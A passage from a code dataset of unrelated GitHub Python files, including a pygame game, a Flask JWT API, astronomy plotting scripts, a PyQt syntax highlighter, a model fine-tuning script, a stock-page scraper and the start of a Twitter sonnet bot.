color,\r\n [(MARGIN + WIDTH) * b1 + MARGIN,\r\n (MARGIN + HEIGHT) * a1 + MARGIN,\r\n WIDTH,\r\n HEIGHT])\r\n\r\n if score == 25:\r\n res = int(time.perf_counter() - start_time)\r\n done = True\r\n end(res)\r\n clock.tick(60)\r\n pygame.display.flip()\r\n\r\n\r\ndef end(x):\r\n res = x\r\n pygame.display.set_mode(WINDOW_SIZE)\r\n menu_show = True\r\n restart = Button(230, 70, GREEN, RED)\r\n while menu_show:\r\n screen.fill(BLACK)\r\n printtext(\"Ваше время - \" + str(res) + \"c\", 150, 100, WHITE)\r\n if res <= 10:\r\n printtext(\"Вы киберспортсмен!\", 120, 140, WHITE)\r\n elif res <= 15:\r\n printtext(\"Всё в норме!\", 185, 140, WHITE)\r\n else:\r\n printtext(\"Вы стареете!\", 180, 140, WHITE)\r\n restart.draw(140, 200, \"RESTART\",rungame)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n pygame.display.flip()\r\n\r\n\r\nshow_menu()\r\n\r\n\r\n","repo_name":"mileneos/PythonGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11341192660","text":"from flask import Response\nfrom flask_appbuilder.api import expose, safe\nfrom flask_appbuilder.security.api import SecurityApi\nfrom flask_jwt_extended import jwt_required, current_user\nfrom marshmallow import Schema, fields\n\nfrom app.utils import make_json_resp\n\n\nclass SecurityApiEx(SecurityApi):\n resource_name = 'security'\n version = \"v2\"\n\n @expose(\"/login\", methods=[\"POST\"])\n def login(self) -> Response:\n resp = super().login()\n if 'access_token' in resp.json:\n return make_json_resp({'token': resp.json['access_token']})\n else:\n return resp\n\n @expose(\"/refresh\", methods=[\"POST\"])\n def refresh(self) -> Response:\n resp = super().refresh()\n if 'access_token' in resp.json:\n return make_json_resp({'token': resp.json['access_token']})\n else:\n return resp\n\n @expose(\"/userinfo\", methods=[\"GET\"])\n @jwt_required\n @safe\n def userinfo(self):\n class _Schema(Schema):\n name = fields.String(attribute='username')\n avatar = fields.String(\n default='https://wpimg.wallstcn.com/f778738c-e4f8-4870-b634-56703b4acafe.gif')\n roles = fields.List(fields.String())\n\n return make_json_resp(_Schema().dump(current_user))\n","repo_name":"zebra-cl/vue-admin-template","sub_path":"app/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"20646365268","text":"import os\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nfrom matplotlib.patches import Patch\nimport numpy as np\nimport pandas as pd\n\n\n# Data parameters\ndata_dir = '/Users/piyanat/Google/research/hera1p/stats'\ntelescope = ['hera19', 'hera37', 'hera61', 'hera91',\n 'hera127', 'hera169', 'hera217', 'hera271', 'hera331']\nbandwidth = [0.08, 1.0, 2.0, 3.0, 4.0, 5.0, 6.0, 7.0, 8.0]\ngroup = ['binning', 'windowing']\nstat = ['var', 'skew', 'kurt']\nnstat = len(stat)\nngroup = len(group)\nnbandwidth = len(bandwidth)\nntelescope = len(telescope)\nsignal_field = 25\nnoise_nfield = 20\nif noise_nfield < 200:\n idx = np.random.randint(0, 200, noise_nfield)\nelse:\n idx = np.arange(200)\n\n\n# Plotting properties\nl1 = 'k' # signal\nl2 = 'r' # model\nl3 = 'b' # average\n# Orange\n# s1 = '#fff5eb'\n# s2 = '#fdd49e'\n# Blue\ns1 = '#deebf7'\ns2 = '#9ecae1'\n# Green\n# s1 = '#f7fcf5'\n# s2 = '#c7e9c0'\n\nls1 = '-'\nls2 = '--'\nls3 = (8, (5, 1, 1, 1))\n\ntlabels = ['HERA19', 'HERA37', 'HERA61', 'HERA91', 'HERA128',\n 'HERA169', 'HERA240 Core', 'HERA271', 'HERA350 Core']\nhandles = [Line2D([], [], c=l1, ls=ls1), Line2D([], [], c=l3, ls=ls3),\n Line2D([], [], c=l2, ls=ls2),\n Patch(fc=s2, alpha=1),\n Patch(fc=s1, alpha=1)]\nlabels = ['Field {:d}'.format(signal_field),\n '{:d}-Field Averaged'.format(noise_nfield),\n 'Full-sky Model',\n 'Sample Variance Error'.format(noise_nfield),\n 'Sample Variance\\n& Thermal Noise Errors']\nylabels = ['Variance', 'Skewness', 'Kurtosis']\n# Collect data and plot\nfor j in range(ngroup):\n g = group[j]\n for k in range(ntelescope):\n t = telescope[k]\n for l in range(nbandwidth):\n b = bandwidth[l]\n plt.close()\n fig, ax = plt.subplots(3, 1, sharex='all', figsize=(4.25, 4))\n for i in range(nstat):\n s = stat[i]\n pn = pd.read_hdf(\n '{:s}/mc/{:s}/{:s}_mc_maps_stats_pn_bw{:.2f}MHz_{:s}.h5'\n .format(data_dir, t, t, b, g)\n )\n hpx = pd.read_hdf(\n '{:s}/healpix/{:s}/{:s}_hpx_interp_21cm_cube_l128_stats_df_bw{:.2f}MHz_{:s}.h5'\n .format(data_dir, t, t, b, g)\n )\n model = hpx[s]\n signal = pn.iloc[signal_field][s]\n mean_signal = pn[idx].mean(axis=0)[s]\n sample_err = pn[idx].std(axis=0)[s]\n noise_err = pn[idx].mean(axis=0)[s+'_err']\n combine_err = np.sqrt(sample_err ** 2 + noise_err ** 2)\n x = mean_signal.index\n ax[i].plot(x, signal, c=l1, ls=ls1)\n ax[i].plot(x, model, c=l2, ls=ls2)\n ax[i].plot(x, mean_signal, c=l3, ls=ls3)\n ax[i].fill_between(x, mean_signal - combine_err,\n mean_signal + combine_err,\n color=s1, alpha=1)\n # ax[i].fill_between(x, mean_signal - noise_err,\n # mean_signal + noise_err,\n # color=s2, alpha=1)\n ax[i].fill_between(x, mean_signal - sample_err,\n mean_signal + sample_err,\n color=s2, alpha=1)\n if s == 'var':\n ax[i].set_ylim(0, np.max((mean_signal.max(), signal.max())) * 1.2)\n else:\n ax[i].set_ylim(np.min((mean_signal.min(), signal.min())) * 1.2,\n np.max((mean_signal.max(), signal.max())) * 1.2)\n ax[i].set_xlim(x.min(), x.max())\n ax[i].set_ylabel(ylabels[i])\n # ax[i].grid('on')\n if s != 'var':\n ax[i].axhline(0, ls='--', c='k')\n ax[2].set_xlabel('Frequency [MHz]')\n fig.subplots_adjust(left=0.15, right=0.95, bottom=0.1, top=0.89,\n hspace=0)\n # fig.suptitle('{:s} {:.2f} MHz {:s} ({:d} Fields Errors)'\n # .format(tlabels[k], b, g.capitalize(), noise_nfield),\n # fontsize='large')\n fig.legend(handles=handles, labels=labels, loc='upper center',\n ncol=2, fontsize='small', handlelength=2.7)\n outdir = '/Users/piyanat/Google/research/hera1p/plots/all_stats/' \\\n '{:s}/field{:d}'.format(t, signal_field)\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n fig.savefig(\n '{:s}/all_stats_{:s}_field{:d}_averaged{:d}field'\n '_bw{:.2f}MHz_{:s}.pdf'\n .format(outdir, t, signal_field, noise_nfield, b, g)\n )\n","repo_name":"piyanatk/visual","sub_path":"hera1p/plot_all_stats.py","file_name":"plot_all_stats.py","file_ext":"py","file_size_in_byte":4809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20707323430","text":"import os\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport matplotlib.ticker as ticker\n\nplt.rcParams['figure.dpi'] = 110\nsns.set_context(\"poster\")\nplt.rcParams[\"axes.labelsize\"] = 15\n\ndef plot_scores(data: pd.DataFrame, x_axis: str, y_axis: str, hue: str, \n save_path: str, y_tick_spacing: int, path_to_results: str):\n\n plot_path = os.path.join(path_to_results, save_path)\n \n f = plt.figure(figsize=(10, 10))\n tick_spacing = 20\n y_tick_spacing = y_tick_spacing\n fig, ax = plt.subplots(1,1)\n \n #colors = [\"#697b30\", \"#c87b7c\"]\n \n with sns.axes_style(\"ticks\"): \n sns.set_palette(\"cubehelix\")\n sns.lineplot(data=data, x=x_axis, y=y_axis, hue=hue, markers=True, style=hue)\n ax.lines[1].set_linestyle(\":\")\n ax.xaxis.set_major_locator(ticker.MultipleLocator(tick_spacing))\n ax.yaxis.set_major_locator(ticker.MultipleLocator(y_tick_spacing))\n sns.despine()\n plt.yticks(np.arange(18, 3, 40), size=14)\n plt.xticks(np.arange(0, 101, 10), size=14)\n \n plt.legend(loc='right', bbox_to_anchor=(1.2, 1));\n plt.legend(fontsize=10, title_fontsize='8')\n \n \n plt.savefig(plot_path)","repo_name":"orevaahia/mc4lrnmt","sub_path":"utils/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"6609824216","text":"from __future__ import print_function\nimport sys\n\ndef dir_to_strand(dir):\n\tif dir == 'F': return '+'\n\telse: return '-'\n\nfor line in sys.stdin:\n\tid, bp1, bp2 = line.split()[:3]\n\tdir1,chr1,pos1 = bp1[4:].split(':')\n\tdir2,chr2,pos2 = bp2[4:].split(':')\n\tid = id.replace(\"ID=\", \"SURVEYOR_\")\n\tprint(id, chr1, max(0,int(pos1)), dir_to_strand(dir1), chr2, max(0,int(pos2)), dir_to_strand(dir2), \"TRA\")\n\n","repo_name":"kensung-lab/IndelEnsembler","sub_path":"trans2sv.py","file_name":"trans2sv.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"23828656859","text":"import sys\nfrom PyQt5.QtCore import QRegExp\nfrom PyQt5.QtGui import QColor, QTextCharFormat, QFont, QSyntaxHighlighter\n\n\ndef format(color, style=''):\n \"\"\"\n Return a QTextCharFormat with the given attributes.\n \"\"\"\n _color = QColor()\n if type(color) is not str:\n _color.setRgb(color[0], color[1], color[2])\n else:\n _color.setNamedColor(color)\n\n _format = QTextCharFormat()\n _format.setForeground(_color)\n if 'bold' in style:\n _format.setFontWeight(QFont.Bold)\n if 'italic' in style:\n _format.setFontItalic(True)\n\n return _format\n\n\n# Syntax styles that can be shared by all languages\n\nSTYLES = {\n 'keyword': format([3, 65, 252], 'bold'),\n 'operator': format([3, 65, 252]),\n 'brace': format([3, 65, 252]),\n 'string': format([20, 110, 100]),\n 'string2': format([30, 120, 110]),\n 'comment': format([128, 128, 128]),\n 'numbers': format([3, 215, 252]),\n 'asm': format([107, 199, 199], 'italic'),\n 'function': format([60, 40, 247], 'bold'),\n 'function_asm': format([60, 40, 247], 'italic'),\n}\n\n\nclass PythonHighlighter(QSyntaxHighlighter):\n \"\"\"Syntax highlighter for the Python language.\n \"\"\"\n keywords = [\n 'auto',\n 'break',\n 'case',\n 'char',\n 'const',\n 'continue',\n 'default',\n 'do',\n 'double',\n 'else',\n 'enum',\n 'extern',\n 'float',\n 'for',\n 'goto',\n 'if',\n 'inline',\n 'int',\n 'long',\n 'register',\n 'restrict',\n 'return',\n 'short',\n 'sizeof',\n 'switch',\n 'while',\n 'for',\n 'do',\n ]\n\n operators = [\n '=',\n # Comparison\n '==', '!=', '<', '<=', '>', '>=',\n # Arithmetic\n '\\+', '-', '\\*', '/', '//', '\\%', '\\*\\*',\n # In-place\n '\\+=', '-=', '\\*=', '/=', '\\%=', '\\+\\+', '--', '\\&=', '\\!=',\n # Bitwise\n '\\^', '\\|', '\\&', '\\~', '!',\n # pointer\n '->',\n ]\n\n # Python braces\n braces = [\n '\\{', '\\}', '\\(', '\\)', '\\[', '\\]',\n ]\n\n\n def __init__(self, document):\n QSyntaxHighlighter.__init__(self, document)\n\n # Multi-line strings (expression, flag, style)\n # FIXME: The triple-quotes in these two lines will mess up the\n # syntax highlighting from this point onward\n self.comment = (QRegExp(r'\\/\\*'), QRegExp(r'\\*\\/'), 1, STYLES['comment'])\n #self.comment_end = (, 2, STYLES['comment'])\n\n #self.tri_single = (QRegExp(\"'''\"), 1, STYLES['string2'])\n #self.tri_double = (QRegExp('\"\"\"'), 2, STYLES['string2'])\n\n rules = []\n\n # Keyword, operator, and brace rules\n rules += [(r'\\b%s\\b' % w, 0, STYLES['keyword'])\n for w in PythonHighlighter.keywords]\n rules += [(r'%s' % o, 0, STYLES['operator'])\n for o in PythonHighlighter.operators]\n rules += [(r'%s' % b, 0, STYLES['brace'])\n for b in PythonHighlighter.braces]\n\n # All other rules\n rules += [\n # function (not exact but good enough)\n #(r'^\\s*\\w*\\(.*\\)', 0, STYLES['function']),\n\n # asm function\n (r'^[0-9a-fA-F]+\\s<.+>:', 0, STYLES['function']),\n\n # Double-quoted string, possibly containing escape sequences\n (r'\"[^\"\\\\]*(\\\\.[^\"\\\\]*)*\"', 0, STYLES['string']),\n\n # assembly mixed in\n (r'^\\s{1,4}[0-9a-fA-F]+:.*$', 0, STYLES['asm']),\n\n # Comment hack\n (r'\\/\\*.*\\*\\/', 0, STYLES['comment']), # comment\n\n # function call in asm\n (r'<.+>', 0, STYLES['function_asm']), # comment close\n\n # Numeric literals\n #(r'\\b[+-]?[0-9]+[lL]?\\b', 0, STYLES['numbers']),\n #(r'\\b[+-]?0[xX][0-9A-Fa-f]+[lL]?\\b', 0, STYLES['numbers']),\n #(r'\\b[+-]?[0-9]+(?:\\.[0-9]+)?(?:[eE][+-]?[0-9]+)?\\b', 0, STYLES['numbers']),\n ]\n\n # Build a QRegExp for each pattern\n self.rules = [(QRegExp(pat), index, fmt)\n for (pat, index, fmt) in rules]\n\n def highlightBlock(self, text):\n \"\"\"Apply syntax highlighting to the given block of text.\n \"\"\"\n # Do other syntax formatting\n for expression, nth, format in self.rules:\n index = expression.indexIn(text, 0)\n\n while index >= 0:\n # We actually want the index of the nth match\n index = expression.pos(nth)\n length = len(expression.cap(nth))\n self.setFormat(index, length, format)\n index = expression.indexIn(text, index + length)\n\n self.setCurrentBlockState(0)\n\n # Do multi-line strings\n #in_multiline = self.match_multiline(text, *self.comment)\n #if not in_multiline:\n # in_multiline = self.match_multiline(text, *self.tri_double)\n\n def match_multiline(self, text, delimiter_start, delimiter_stop, in_state, style):\n \"\"\"Do highlighting of multi-line strings. ``delimiter`` should be a\n ``QRegExp`` for triple-single-quotes or triple-double-quotes, and\n ``in_state`` should be a unique integer to represent the corresponding\n state changes when inside those strings. Returns True if we're still\n inside a multi-line string when this function is finished.\n \"\"\"\n # If inside triple-single quotes, start at 0\n if self.previousBlockState() == in_state:\n start = 0\n add = 0\n # Otherwise, look for the delimiter on this line\n else:\n start = delimiter_start.indexIn(text)\n # Move past this match\n add = delimiter_start.matchedLength()\n\n # As long as there's a delimiter match on this line...\n while start >= 0:\n # Look for the ending delimiter\n end = delimiter_stop.indexIn(text, start + add)\n # Ending delimiter on this line?\n if end >= add:\n length = end - start + add + delimiter_stop.matchedLength()\n self.setCurrentBlockState(0)\n # No; multi-line string\n else:\n self.setCurrentBlockState(in_state)\n length = len(text) - start + add\n # Apply formatting\n self.setFormat(start, length, style)\n # Look for the next match\n start = delimiter_start.indexIn(text, start + length)\n\n # Return True if still inside a multi-line string, False otherwise\n if self.currentBlockState() == in_state:\n return True\n else:\n return False\n\n","repo_name":"TUDSSL/WARio","sub_path":"tools/code_report/syntax.py","file_name":"syntax.py","file_ext":"py","file_size_in_byte":6646,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"17461184609","text":"class Parking_Area:\n Parking = dict() #Dictionary to store the details of each spot in the parking lot\n\n def __init__(self, spot_ID):\n self.spot_ID = spot_ID\n\n def Parking_dict(self, spot_ID, Available):\n '''\n Function to update the Parkings records based on the spotID and the Availability passed initially\n :param spot_ID: The identification number of the parking spot\n :param Available: Availability of the parking spot (Yes|No)\n :return: Parking dictionary with updated records\n '''\n s = Parking_Area\n s.Parking[spot_ID] = dict()\n s.Parking[spot_ID]['Available'] = Available\n return s.Parking\n\n def create_Parking_Area(self):\n '''\n Function to create a parking lot in case required.\n :return: New parkings dictionary\n '''\n for i in range(1, 11):\n spot_ID = i\n Available = 1\n s1 = Parking_Area\n new_Parking = s1.Parking_dict(self, spot_ID, Available)\n return new_Parking\n\n\n def count_Available_Spots(self,Spots):\n '''\n This function is used to count the number of spots available in the parking area\n :param Spots: Dictionary containing spot IDs and their availability\n :return: It returns the number of available spots in the parking area\n '''\n\n available_Spots = 0\n for i in Spots:\n if Spots[i]['Available'] == 'Yes':\n available_Spots += 1\n return available_Spots\n\n\n def get_Available_Spots(self):\n '''\n This function is used to find the spots that are available in the parking lot\n :return: A list of parking spotIDs that are empty.\n '''\n available_Spots_ID = []\n p1 = Parking_Area\n for i in p1.Parking:\n if p1.Parking[i]['Available'] == 'Yes':\n available_Spots_ID.append(i)\n return available_Spots_ID","repo_name":"Janki-Thakkar/Automated_Parking_System","sub_path":"Parking_Area.py","file_name":"Parking_Area.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31974837659","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Nov 6 10:50:33 2019\n\n@author: alienor\n\"\"\"\n\n#import open3d\nimport argparse\nimport appdirs\nimport glob\nimport numpy as np\nimport os\nfrom PIL import Image\nimport torch\nimport subprocess \nimport tkinter as tk\nfrom tkinter.filedialog import askopenfilenames\nroot = tk.Tk()\nroot.withdraw()\nfrom tkinter import filedialog\nimport getpass\n\nfrom romiseg.train_cnn import cnn_train\nfrom romiseg.utils.train_from_dataset import model_from_fileset\nfrom romiseg.utils.active_contour import run_refine_romidata\nfrom plantdb import fsdb, io\n\nimport toml\n\ndef create_folder_if(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n open('romidb', 'w').close()\n \ndefault_config_dir = '/home/alienor/Documents/scanner-meta-repository/Scan3D/config/segmentation2d_arabidopsis.toml'\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--config', dest='config', default=default_config_dir,\n help='config dir, default: %s'%default_config_dir)\n\n\nargs = parser.parse_args()\n\n\nparam_pipe = toml.load(str(args.config))\n\ndirec = param_pipe['Finetune']\ntry:\n directory_weights = direc['directory_weights']\nexcept:\n directory_weights = appdirs.user_cache_dir()\ntry: \n tsboard = direc['tsboard'] + '/finetune'\nexcept:\n tsboard = appdirs.user_cache_dir()\ntry:\n user_name = direc['user_name']\nexcept:\n user_name = getpass.getuser()\n\nprocede = False\n\nparam2 = param_pipe['Segmentation2D']\n#labels = param2['labels']\nSx = param2['Sx']\nSy = param2['Sy']\nlearning_rate = param2['learning_rate']\nmodel_id = param2['model_id']\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n#model, label_names = save_and_load_model(directory_weights, model_segmentation_name).to(device)\n\ndb_w = fsdb.FSDB(directory_weights)\ndb_w.connect()\ns_w = db_w.get_scan('models')\nf_weights = s_w.get_fileset('models')\nmodel_file = f_weights.get_file(model_id)\nmodel, label_names = model_from_fileset(model_file)\nmodel = model.to(device)\n\n\n\n\nfinetune = param_pipe['Finetune']\nfinetune_epochs = finetune['finetune_epochs']\nbatch_size = finetune['batch']\n\nmount_loc = appdirs.user_cache_dir() + '/data_mount/'\nif not os.path.exists(mount_loc):\n os.mkdir(mount_loc)\ntxt = subprocess.run([\"mountpoint\", mount_loc])\n\n\nquest = input(\"Ready to mount romi-project.eu? (y/n) \")\nif quest == 'y':\n subprocess.run([\"sshfs\", user_name + '@db.romi-project.eu:/data/', mount_loc])\n\ndirectory_dataset = mount_loc + '/finetune/'\n\nfiles = askopenfilenames(initialdir = os.path.split(\"/home/\")[0], \n title = 'Select some pictures to annotate')\nlst = list(files)\n\nif len(lst) > 0:\n host_scan = files[0].split('/')[-3] \n db = fsdb.FSDB(directory_dataset + '/train/')\n db.connect()\n \n scan = db.get_scan(host_scan, create=True)\n fileset = scan.get_fileset('images', create = True)\n imgs = np.sort(files)\n label_names = label_names.tolist()\n fileset.set_metadata({'channels':['rgb'] + label_names})\n\n \n for i, path in enumerate(imgs):\n im_name = host_scan + '_' + os.path.split(path)[1][:-4]\n \n\n im = np.array(Image.open(path))\n f_im = fileset.create_file(im_name + '_rgb')\n f_im.set_metadata('shot_id', im_name)\n f_im.set_metadata('channel', 'rgb')\n io.write_image(f_im, im, ext = 'png')\n \n im_save = fsdb._file_path(f_im)\n subprocess.run(['labelme', im_save, '-O', im_save, '--labels', ','.join(label_names)])\n \n npz = run_refine_romidata(im_save, 1, 1, 1, 1, 1, class_names = label_names, \n plotit = im_save)\n \n for channel in label_names:\n f_label = fileset.create_file(im_name + '_' + channel)\n f_label.set_metadata('shot_id', im_name)\n f_label.set_metadata('channel', channel)\n io.write_image(f_label, npz[channel], ext = 'png')\n db.disconnect()\n \n \nsubprocess.run([\"rsync\", \"-av\", directory_dataset, appdirs.user_cache_dir()])\ndirectory_dataset = appdirs.user_cache_dir()\n\n\n\n\n# freeze backbone layers\nfor l in model.base_layers:\n for param in l.parameters():\n param.requires_grad = False\n\n\nmodel = cnn_train(f_weights, directory_dataset, np.array(label_names), tsboard, batch_size, finetune_epochs,\n model, Sx, Sy, showit = True, data_augmentation = False)\n\nmodel_name = model_id + os.path.split(directory_dataset)[1] +'_%d_%d_'%(Sx,Sy)+ 'finetune_epoch%d'%finetune_epochs\n\nfile = f_weights.create_file(model_name)\nio.write_torch(file, model)\nfile.set_metadata({'model_id':model_name, 'label_names':label_names.tolist()})\n\n\nparam2['model_id'] = model_name\n\ntext = toml.dumps(param_pipe)\n \n\ntext_file = open(args.config, \"w\")\ntext_file.write(text)\ntext_file.close()\n\nprint('/n')\nprint(\"You have fine-tunned the segmentation network with the images you manually annotated.\")\nprint(\"The pipeline should work better on your images now, let's launch it again\")\n\n","repo_name":"romi/romiseg","sub_path":"romiseg/finetune.py","file_name":"finetune.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19329712411","text":"import uuid\n\nimport pytest\n\nfrom dataops.components.exceptions import NotFound\nfrom dataops.components.exceptions import UnhandledException\n\n\nclass TestMetadataClient:\n async def test_return_item_info_from_id(self, httpx_mock, metadata_service, get_items_response):\n item_id = get_items_response['result']['id']\n httpx_mock.add_response(\n method='GET',\n url=f'{metadata_service.service_url}item/{item_id}/',\n status_code=200,\n json=get_items_response,\n )\n resource = await metadata_service.get_resource_by_id(item_id=item_id)\n assert resource == get_items_response['result']\n\n async def test_raise_exception_item_not_found(self, httpx_mock, metadata_service, get_items_response_not_found):\n item_id = str(uuid.uuid4())\n httpx_mock.add_response(\n method='GET',\n url=f'{metadata_service.service_url}item/{item_id}/',\n status_code=200,\n json=get_items_response_not_found,\n )\n with pytest.raises(NotFound):\n await metadata_service.get_resource_by_id(item_id=item_id)\n\n async def test_raise_exception_metadata_service_status_error(\n self, httpx_mock, metadata_service, get_items_response\n ):\n item_id = get_items_response['result']['id']\n httpx_mock.add_response(\n method='GET', url=f'{metadata_service.service_url}item/{item_id}/', status_code=500, json={}\n )\n with pytest.raises(UnhandledException):\n await metadata_service.get_resource_by_id(item_id=item_id)\n","repo_name":"PilotDataPlatform/pilot-hdc-dataops","sub_path":"tests/services/test_metadata.py","file_name":"test_metadata.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6210671184","text":"from django.contrib import admin\nfrom django.urls import path\nfrom home import views\nurlpatterns = [\n path(\"\",views.index,name='home'),\n path(\"about/\",views.about,name='about'),\n path(\"fishes/\",views.fishes,name='fishes'),\n path(\"contact/\",views.contact,name='contact'),\n path(\"aqurium/\",views.aqurium,name='aqurium'),\n path(\"food/\",views.food,name='food'),\n path(\"order/\",views.order,name='order'),\n path(\"products/\",views.product,name='products'),\n path(\"fishview/\",views.fishview,name='fishview'),\n path(\"foodview/\",views.foodview,name='foodview'),\n]","repo_name":"TanvirApon/Water-Garden","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11550708541","text":"#!/usr/bin/env python\n# -*- coding:utf8 -*-\n# auther; 18793\n# Date:2019/7/8 16:02\n# filename: ch21.4.2.py\n\n\"\"\"\n项目实战,爬取纳斯达克股票数据\n\"\"\"\nimport urllib.request\nimport hashlib\nfrom bs4 import BeautifulSoup\n\nimport os\n\nurl = \"https://www.laohu8.com/hq/s/02128\"\n\n\ndef validateUpdate(html):\n \"\"\"\n 验证数据是否更新,更新返回True,未更新返回False\n :param html:\n :return:\n \"\"\"\n\n # 创建md5对象\n md5obj = hashlib.md5()\n md5obj.update(html.encode(encoding=\"utf-8\"))\n md5code = md5obj.hexdigest()\n print(md5code)\n\n old_md5code = ''\n f_name = 'md5.txt'\n\n if os.path.exists(f_name):\n with open(f_name, \"r\", encoding=\"utf-8\") as f:\n old_md5code = f.read()\n\n if md5code == old_md5code:\n print(\"数据没有更新....\")\n return False\n else:\n # 把新的md5码写入到文件中\n with open(f_name, \"w\", encoding=\"utf-8\") as f:\n f.write(md5code)\n print(\"数据更新..\")\n return True\n\n\nreq = urllib.request.Request(url)\n\nwith urllib.request.urlopen(req) as response:\n data = response.read()\n html = data.decode()\n sp = BeautifulSoup(html, 'html.parser')\n #返回指定CSS选择器的div标签列表\n div = sp.select(\"#root > div > div.column-wrap.clear > div.main-side > div:nth-child(1) > div > div.quote-wrap > div.quote-main > div\")\n divstring = div[0]\n","repo_name":"hujianli94/Python-code","sub_path":"19.框架学习/爬虫学习/03.关东升爬虫案例/5.项目实战,爬取纳斯达克股票数据/ch21.4.2.py","file_name":"ch21.4.2.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"40704151279","text":"while True:\n a=[]\n t=1\n while True:\n try:\n s=input()\n except EOFError:\n break\n for i in s.split():\n t=int(i)\n if t==-999999:\n break\n a.append(t)\n if t==-999999:\n break\n print(t)\n\n if len(a)==0:\n break\n ans=a[0]\n dp=[[1]*len(a)]*len(a)\n for i in range(0,len(a)):\n for j in range(i,len(a)):\n if j>i:\n dp[i][j]=a[j]*dp[i][j-1]\n else:\n dp[i][j]=a[i]\n if dp[i][j]>ans:\n ans=dp[i][j]\n print(ans)\n\n\n","repo_name":"prithviking98/competitive-programming","sub_path":"UVa/787/787.py","file_name":"787.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28143400723","text":"\"\"\"Игра угадай число\"\"\"\n\nimport numpy as np\n\ndef random_predict(number: int = 1) -> int:\n cislo = np.random.randint(1, 101)\n count = 0 # количество попыток\n print(cislo)\n if number > cislo: #Если наше число больше заданного то мы уменьшаем его на 10 до тех пор пока оно не станет меньше.\n count += 1\n while number > cislo:\n number -= 10\n count += 1\n if number < cislo: #После этого прибавляем 1 пока наше число не станет равно загаданному\n while True:\n number += 1\n count += 1\n if number == cislo:\n return count\n if number == cislo:\n return count\n elif number < cislo:# Аналогично. Только с нашем числом действия меняются на противоположные \n count += 1\n while number < cislo:\n number += 10\n count += 1\n if number > cislo:\n while True:\n count += 1\n number -= 1\n if number == cislo:\n return count \n if number == cislo:\n return count\n \n \n else:\n return 1\nbb = int(input())\nprint(random_predict(bb))\n\n #Сначала на экране появляется число загаданное компьютором потом количество попыток","repo_name":"Olegkohov/urban-chainsaw","sub_path":"ScillFactory/progecr0/game1.py","file_name":"game1.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29377026650","text":"\"\"\" Created by Soroush Famili(Github SoroushF79) from 5/27/18 to 6/4/18. This script scrapes sonnetaday.org every other day \r\nfor the sonnet that is posted. From then, approximately every 10th non-stopword is replaced by the name of a random \r\ndead Shakespearean character. The revised \"sonnet\" is then posted on Twitter. I did this with tweaking for a week on my \r\nTwitter account @FamilyWithAnI.\r\n\"\"\"\r\n\r\nimport tweepy\r\nimport urllib, urllib.request, nltk\r\nfrom bs4 import BeautifulSoup as bs\r\nimport numpy.random as np\r\nimport time\r\n\r\n\r\nauth = tweepy.OAuthHandler(\"\", \"\")\r\nauth.set_access_token(\"\",\"\")\r\napi = tweepy.API(auth)\r\n\r\n#This part is to get the stopwords that we want to ignore into a list we can reference later\r\n\r\nfile = open(\"Added Stop Words.txt\", \"r\")\r\nfile_m = file.read()\r\nwords = []\r\n\r\nfor i in file_m:\r\n words.append(i)\r\nfile.close()\r\n\r\n#This part is to get the names of the dead Shakespearean characters into a list we can reference later\r\ndeath = []\r\n\r\nfile = open(\"Everyone That Dies.txt\", \"r\")\r\nfile_m = file.read()\r\n\r\nstring = \"\"\r\nfor i in file_m:\r\n if(i == \"\\n\"):\r\n death.append(string)\r\n string = \"\"\r\n else:\r\n string += i\r\n \r\nfile.close()\r\n\r\n# I use a function because I want the main loop to be a continuous while nd to only do the main stuff iff the time is correct\r\n\r\ndef TheFunc():\r\n # This is what parses the html of the sonnet, inserts the random dead character, and then tweets it. \r\n # This first part finds the sonnet from within the html text and then uses nltk to tokenize the words \r\n theurl = \"http://sonnetaday.com/about.php\"\r\n thepage = urllib.request.urlopen(theurl)\r\n soup = bs(thepage, \"html.parser\")\r\n \r\n sonnet = soup.find_all(\"span\")[4].text\r\n actual_sonnet = nltk.tokenize.word_tokenize(sonnet)\r\n\r\n filtered = []\r\n \r\n string1 = \"\"\r\n string2 = \"\"\r\n count = 0\r\n \r\n # Counts the number of words/characters in the sonnet. 